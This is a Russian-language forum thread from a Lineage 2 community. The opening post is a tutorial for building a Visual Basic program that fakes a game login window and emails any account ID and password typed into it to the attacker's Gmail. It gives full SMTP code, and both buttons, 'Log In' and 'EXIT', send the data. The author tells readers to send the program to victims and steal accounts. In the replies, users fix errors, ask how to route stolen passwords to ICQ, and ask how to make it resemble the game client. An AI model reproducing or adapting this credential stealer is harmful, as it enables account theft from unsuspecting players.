[Lineage2-паблик] Как сделать программу для кражи аккаунтов l2(Visual Basic)

[BlackWinG]

Привет всем! Это краткий гайд как с помощью Visual Basic сделать программу для кражи аккаунтов

Вопрос: Что дает данная программа?

Ответ: Вы посылаете ее жертве, и когда она ввела в поле свои данные от аккаунта - они вам присылаються на Email

Не забываем:
1. Вы должны иметь аккаунт на gmail.com
2. Это не кейлогер, а программа для отправки данных на Email


1) Для начала вам нужен Visual Basic. Чтобы скачать ее, перейдите по [Ссылки могут видеть только зарегистрированные пользователи. ]

Как только вы установили ее, откройте и нажмите Ctrl+N, чтобы создать новый проект и выберите Windows form Applications, нажмите ОК

[Ссылки могут видеть только зарегистрированные пользователи. ]

2) Нам нужны 2 кнопки, 2 ярлыка и 2 поля ввода текста

Выберите 3 данных опции и перетащите их в окно программы:

[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]

3) Далее откоректируйте размер каждого ярлыка, кнопки и строки - у вас должно получиться примерно так

[Ссылки могут видеть только зарегистрированные пользователи. ]

4) Теперь нам нужно изменить название кнопок и ярлыков

Ярлык №1 - "ID"
Ярлык №2 - "Password"

Кнопка №1 - "Log In"
Кнопка №2 - "EXIT"

Примечание: Кнопка "EXIT" имеет такую же функцию отправки данных как и "Log In"

Чтобы изменить имя, мы нажимаем 1 раз на ярлык, и открываеться окно настроек, в котором редактируем название

[Ссылки могут видеть только зарегистрированные пользователи. ]

Изменям название соответсвенно для всех кнопок и ярлыков. Должно выйти как-то так:

[Ссылки могут видеть только зарегистрированные пользователи. ]

5) Теперь чтобы наше окно выглядело красивее, мы прикрепляем картинку

Чтобы добавить картинку, на панеле выберите [Ссылки могут видеть только зарегистрированные пользователи. ]

Далее мы выбираем место, где будет находиться картинка:

[Ссылки могут видеть только зарегистрированные пользователи. ]

После того как мы загрузили картинку, к примеру

[Ссылки могут видеть только зарегистрированные пользователи. ]

и идем в настройки, выбираем изображение и нажимаем "import".

[Ссылки могут видеть только зарегистрированные пользователи. ]

Далее появиться такое окно:

[Ссылки могут видеть только зарегистрированные пользователи. ]

Выбираем local resource, далее импортируем, выбираем нашу картинку и нажимаем ОК.

[Ссылки могут видеть только зарегистрированные пользователи. ]

Теперь нам нужен код для работы нашей программы
Нажимаем дважды на логе программы, и окно будет иногда выглядеть так

[Ссылки могут видеть только зарегистрированные пользователи. ]

Теперь, в это окно мы копируем данный код

If TextBox1.Text = "" Then
            MsgBox("Username Is Missing")
If Textbox2.text = "" Then
Msgbox("Password Is Mising")
        Else
        End If
        End if
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("Ваш Gmail", "Ваш Gmail Пароль")
        'using gmail
        smtpServer.Port = 587
        smtpServer.Host = "smtp.gmail.com"
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("Your Gmail")
        mail.To.Add("Your Gmail")
        mail.Subject = "Username: " & TextBox1.Text
        mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text
        smtpServer.Send(mail)
        MsgBox("Disconnected From Server, Please try again later!")

Вы должны вписать ваш логин и пароль от Gmail
Также вы должны оставить " dont delete them"

Вы можете изменить сообщение "ОК" на ваше

Примечание: Я не знаю почему, но этот просто код выдает ошибку

Решение:

1. Нажмите кнопку оранжевого знака восклицания, которая находиться под словом "SmtpClient"

[Ссылки могут видеть только зарегистрированные пользователи. ]

2. Далее выберите "Import.System.Net.Mail"

Также проделайте данное действие для "MailAddress"

7) Все почти готово
ИЗмените слой: Перейдите в "Form1.vb" [Design] и нажмите кнопку "start debugging"

[Ссылки могут видеть только зарегистрированные пользователи. ]

Если вы все правильно сделали, ваша программа жива теперь ):

Вы можете проверить ее, вписав "левый" логин и пароль. Если данные пришли на Gmail, значит программа работает на УРА

[Ссылки могут видеть только зарегистрированные пользователи. ]

Вот и все

8) Теперь сохраните программу, нажав Control + Shift + S
Далее откройте папку с программой. Вы увидите другой файл с названием вашей программы. Откройте его - появиться множество файлов

[Ссылки могут видеть только зарегистрированные пользователи. ]

Выберите папку "obj", затем "debug" и вы увидите вашу программу

[Ссылки могут видеть только зарегистрированные пользователи. ]

Теперь вы можете отсылать ее людям и начинать воровать аккаунты

Конец

Перевод сделал BlackWinG, Наслаждайтесь

[Phenomenon O.o]

ща попробую сделать))

Добавлено через 1 час 11 минут
проблемка не вижу "
2) Нам нужны 2 кнопки, 2 ярлыка и 2 поля ввода текста

Выберите 3 данных опции и перетащите их в окно программы:" где это ?

[micralab]

Цитата: Сообщение от Phenomenon O.o ща попробую сделать)) Добавлено через 1 час 11 минут проблемка не вижу " 2) Нам нужны 2 кнопки, 2 ярлыка и 2 поля ввода текста Выберите 3 данных опции и перетащите их в окно программы:" где это ?

Думаю наглдно ответил!)

[~Denis~]

хм, думаю будет очень весело , если при в воде zhyk zhyk выводил окно с настройками(лог и пасс от мыла(для тех, кто с языком на ВЫ) и смена админ ника(zhyk zhyk)

[micralab]

Автор я не хочу обижать ну думаю надо было указать что тут требуеться 2 мыла 1 с которого будет преходить 2 на который!
1. То с какова указываеться здесь:

smtpServer.Credentials = New Net.NetworkCredential("Ваш Gmail", "Ваш Gmail Пароль")
'using gmail

2. то на кокой будет приходить здесь:

mail.From = New MailAddress("Your Gmail")
mail.To.Add("Your Gmail")

Я ведь прав?)

[Звезда в шоке]

А почта и пароль от неё чтобы туда приходили взламаные пароли ?как зделать чтобы в Icq шли?

[Newb1e]

Все сделал как написано, но столкнулся с проблемой, когда я захожу в програмку, чтобы ее проверить, и пишу любой логин и пароль, после проверки почты не приходит самого логина, приходит только письмо вида "Username : , Password :", но пароля и логина как видите нету =( в чем же беда ??(((

[micralab]

Цитата: Сообщение от Звезда в шоке А почта и пароль от неё чтобы туда приходили взламаные пароли ?как зделать чтобы в Icq шли?

Нет что бы с нее приходили на указанный МАИЛ! Что бы приходило на icq надо переписывать исходник этот только под МЫЛО!


Newb1e Попробуй переделать прогу возможно ты чето перепутал! А "Username : , Password :" Это и должно приходить только после "Username : должен стоять Log In а после Password : Password"

[~Denis~]

а как на счет моего предложения?

[miledi]

Кто подскажет как переписать исходник под аську ?

[micralab]

~Denis~ Возможно но так же придеться переписывать исходник и даже увевичивать его в размерах!

miledi Ну это ищи людей Возможно Автор поможет!

[~Denis~]

хм, если б кто то для делфей написал такое..
я бы помог с менюшкой этой))

[relex22rus]

а как сделать под клиент? что бы в форме было lineage2 и картинку вставить?
и меню как у монка. что бы прописал слово и вылезло скрытое меню?

[micralab]

relex22rus Читай внимательнее уже было сказанно!

[Newb1e]

micralab, пожалуйста стукни мне в аську 354444646 или скайп svname ! Я уже долго морочился по этому вопросу, и я думаю что все таки что то тут именно с кодом ! стукни мне обсудим, а у тебя все нормально вышло ? напиши в аську или скайп